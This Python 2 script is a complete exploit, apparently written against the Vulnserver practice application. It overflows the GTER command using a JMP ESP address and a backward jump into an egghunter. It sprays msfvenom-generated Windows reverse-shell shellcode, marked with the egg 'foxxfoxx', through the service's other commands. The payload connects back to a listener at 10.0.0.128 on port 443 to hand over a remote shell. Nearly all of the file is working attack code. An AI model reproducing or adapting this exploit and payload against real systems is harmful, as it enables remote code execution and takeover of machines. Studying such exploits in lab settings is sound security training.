#!/usr/bin/python

import socket
import os
import sys
from termcolor import colored
from struct import pack

host = "10.0.0.130"
port = 9999

backJump = "\xe9\x62\xff\xff\xff"

# egg is "foxx"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x66\x6f\x78\x78\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.128 LPORT=443
# -b "\x00" EXITFUNC=thread -f python -v shell
shell =  ""
shell += "\xb8\x6f\xf2\x7f\x4c\xdb\xc2\xd9\x74\x24\xf4\x5a\x2b"
shell += "\xc9\xb1\x52\x83\xc2\x04\x31\x42\x0e\x03\x2d\xfc\x9d"
shell += "\xb9\x4d\xe8\xe0\x42\xad\xe9\x84\xcb\x48\xd8\x84\xa8"
shell += "\x19\x4b\x35\xba\x4f\x60\xbe\xee\x7b\xf3\xb2\x26\x8c"
shell += "\xb4\x79\x11\xa3\x45\xd1\x61\xa2\xc5\x28\xb6\x04\xf7"
shell += "\xe2\xcb\x45\x30\x1e\x21\x17\xe9\x54\x94\x87\x9e\x21"
shell += "\x25\x2c\xec\xa4\x2d\xd1\xa5\xc7\x1c\x44\xbd\x91\xbe"
shell += "\x67\x12\xaa\xf6\x7f\x77\x97\x41\xf4\x43\x63\x50\xdc"
shell += "\x9d\x8c\xff\x21\x12\x7f\x01\x66\x95\x60\x74\x9e\xe5"
shell += "\x1d\x8f\x65\x97\xf9\x1a\x7d\x3f\x89\xbd\x59\xc1\x5e"
shell += "\x5b\x2a\xcd\x2b\x2f\x74\xd2\xaa\xfc\x0f\xee\x27\x03"
shell += "\xdf\x66\x73\x20\xfb\x23\x27\x49\x5a\x8e\x86\x76\xbc"
shell += "\x71\x76\xd3\xb7\x9c\x63\x6e\x9a\xc8\x40\x43\x24\x09"
shell += "\xcf\xd4\x57\x3b\x50\x4f\xff\x77\x19\x49\xf8\x78\x30"
shell += "\x2d\x96\x86\xbb\x4e\xbf\x4c\xef\x1e\xd7\x65\x90\xf4"
shell += "\x27\x89\x45\x5a\x77\x25\x36\x1b\x27\x85\xe6\xf3\x2d"
shell += "\x0a\xd8\xe4\x4e\xc0\x71\x8e\xb5\x83\x77\x4f\xb5\xd3"
shell += "\xe0\x4d\xb5\xd2\x4b\xd8\x53\xbe\xbb\x8d\xcc\x57\x25"
shell += "\x94\x86\xc6\xaa\x02\xe3\xc9\x21\xa1\x14\x87\xc1\xcc"
shell += "\x06\x70\x22\x9b\x74\xd7\x3d\x31\x10\xbb\xac\xde\xe0"
shell += "\xb2\xcc\x48\xb7\x93\x23\x81\x5d\x0e\x1d\x3b\x43\xd3"
shell += "\xfb\x04\xc7\x08\x38\x8a\xc6\xdd\x04\xa8\xd8\x1b\x84"
shell += "\xf4\x8c\xf3\xd3\xa2\x7a\xb2\x8d\x04\xd4\x6c\x61\xcf"
shell += "\xb0\xe9\x49\xd0\xc6\xf5\x87\xa6\x26\x47\x7e\xff\x59"
shell += "\x68\x16\xf7\x22\x94\x86\xf8\xf9\x1c\xa6\x1a\x2b\x69"
shell += "\x4f\x83\xbe\xd0\x12\x34\x15\x16\x2b\xb7\x9f\xe7\xc8"
shell += "\xa7\xea\xe2\x95\x6f\x07\x9f\x86\x05\x27\x0c\xa6\x0f"

buffer = "\x90" * 10
buffer += egghunter
buffer += "A" * (151 - len(buffer))
buffer += pack("<L", 0x625011AF) #JMP ESP in esccfunc.dll
buffer += backJump
buffer += "C" * (5000 - len(buffer))

# Send the actual crash buffer to GTER
def stage1():
	print colored("[~] Sending stage 1 to crash now \r\n","blue")
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	s.recv(1024)
	s.send("GTER " + buffer)
	s.close()
	print colored("[~] Stage 1 sent! \r\n")
	print colored("[*] Give egghunter time to run!","yellow")

# Send the shellcode to all other commands except KSTET and GTER
def stage2():
	print colored("[*] Sending stage 2 first to place in memory \r\n","white")
	for cmd in ['STATS', 'RTIME', 'LTIME', 'SRUN', 'TRUN', 'GMON', 'GDOG','HTER', 'LTER', 'KSTAN']:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((host,port))
		s.recv(1024)
		s.send(cmd + " " + "foxxfoxx" + "\x90" * 50 + shell)
		s.close()
	print colored("[~] Stage 2 sent! \r\n","blue")

# Send stage 2 first so it's in memory before the crash
try:
	stage2()
	stage1()

except:
	print colored("[!] Connection failed, check debugger","red")